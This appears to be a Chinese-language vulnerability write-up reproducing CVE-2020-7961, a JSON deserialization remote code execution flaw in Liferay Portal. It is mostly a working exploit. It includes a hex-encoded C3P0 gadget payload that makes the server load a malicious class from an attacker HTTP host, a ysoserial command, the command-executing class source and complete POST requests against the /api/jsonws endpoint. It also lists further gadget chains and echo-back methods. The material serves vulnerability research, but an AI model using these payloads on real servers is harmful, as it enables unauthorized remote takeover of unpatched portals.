近日,Code White公开了在Liferay Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.
CVE-2020-7961
LPS-88051/LPE-165981
高危
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
Liferay Portal其实主要是两个版本存在问题,一个是6.X,另一个是7.X.
6.X使用的是Flexjson
对json数据进行处理,而7.X则使用Jodd Json
.因为api并不接收纯json数据,所以这里我只研究了6.X的Flexjson
,但对于api来说payload为通用的并不需要划分版本.
我们先搭建Flexjson的环境,直接使用pom导入如下xml即可
<!-- https://mvnrepository.com/artifact/net.sf.flexjson/flexjson -->
<dependency>
<groupId>net.sf.flexjson</groupId>
<artifactId>flexjson</artifactId>
<version>3.1</version>
</dependency>
查阅文档我们可知,Flexjson
处理json的写法如下
JSONDeserializer jsonDeserializer = new JSONDeserializer();
try {
jsonDeserializer.deserialize(json);
}catch (Exception e){
e.printStackTrace();
}
这里我们只需要传入一个json的字符串即可.如果我们要测试rce,则需要构造一个声明类的恶意json数据.例如声明javax.swing.JEditorPane
.
这个类几天前可用作Jackson Databind
和fastjson
的ssrf探测,当然都需要打开autotype开关才行.而在Flexjson
中,这个类并不存在于黑名单中,可以直接使用.接下来的问题是如何RCE?我尝试构造了恶意的json,发现C3P0
和com.sun.rowset.JdbcRowSetImpl
这两个gagdet是可以使用的.
这里给出一段C3P0
的示例json.
String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";
这段payload主要为声明调用的class是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
,且使用userOverridesAsString
这个setter,对于传入的HexAsciiSerializedMap
其实为序列化文件的hex编码.序列化文件我们可以使用ysoserial生成.
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser
C3P0
的gagdet使用需要在http协议下进行加载恶意的class,在http协议下使用:
进行绑定.我给出如下恶意类的源码.
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process p = Runtime.getRuntime().exec("open -a calculator");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
既然序列化文件1.ser
生成好了怎么转换为hex字节码了?我在CVE-2019-2725的时候就问过好兄弟afanti这个问题,从他那里我得到了答案.
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class Echo3 {
public Echo3() {
}
public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, 4984);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
boolean var3 = false;
int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static String bytesToHexFun3(byte[] bytes) {
StringBuilder buf = new StringBuilder(bytes.length * 2);
byte[] arr$ = bytes;
int len$ = bytes.length;
for(int i$ = 0; i$ < len$; ++i$) {
byte b = arr$[i$];
buf.append(String.format("%02x", new Integer(b & 255)));
}
return buf.toString();
}
}
我们在这个位置填入ser序列化文件的绝对路径即可转换为hex并打印输出到控制台
好了,既然Flexjson
的RCE搞定了我们来说下怎么对Liferay Portal
进行rce.
首先我们先下载漏洞环境,这里我使用了官方集成tomcat的环境.
https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z
下载好以后解压进入liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin
目录,然后还是熟悉的./catalina.sh run
即可启动环境.
接着我们可以访问http://localhost:8080/api/jsonws/
进入它的api.这里我们可以使用下面的报文格式进行声明类的调用.
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1
例如我们使用C3P0
.
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1
com.sun.rowset.JdbcRowSetImpl
的数据构造这里我就不给出了.
对于这个RCE漏洞应该还存在其他的gagdets.我目前在classpath中只发现了C3P0
和CommonsBeanutils2
两条gagdets.
CommonsBeanutils
对应的版本为1.9.2
但CommonsBeanutils1
需要依赖commons-collections:3.1
,而classpath中的commons-collections
为3.2.2,所以CommonsBeanutils1
无缘使用.
但CommonsBeanutils2
只需要1.8.3 <= CommonsBeanutils
<= 1.9.2且配合JNDI注入即可.
由于是tomcat的中间件,我们可以考虑使用前段时间长亭发出的tomcat全局request\response方法进行构造(当然对于Unix而言,00theway大哥的Unix通杀回显也可以做到).
我们这里可以使用C3P0
回显和com.sun.rowset.JdbcRowSetImpl
jndi注入回显.如果使用C3P0
进行回显,我们只需要将回显代码写入到恶意类的构造方法中.感谢chybeta和Ntears的C3P0回显提示.
如果使用jndi注入回显,可以将序列化文件转为base64,然后使用javaSerializedData
解码即可.具体的jndi回显实现可以移步文末afanti的文章,同时也是一道某安全公司的Java完全的面试题.
最后我们来看下C3P0
的回显效果
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
https://www.anquanke.com/post/id/200892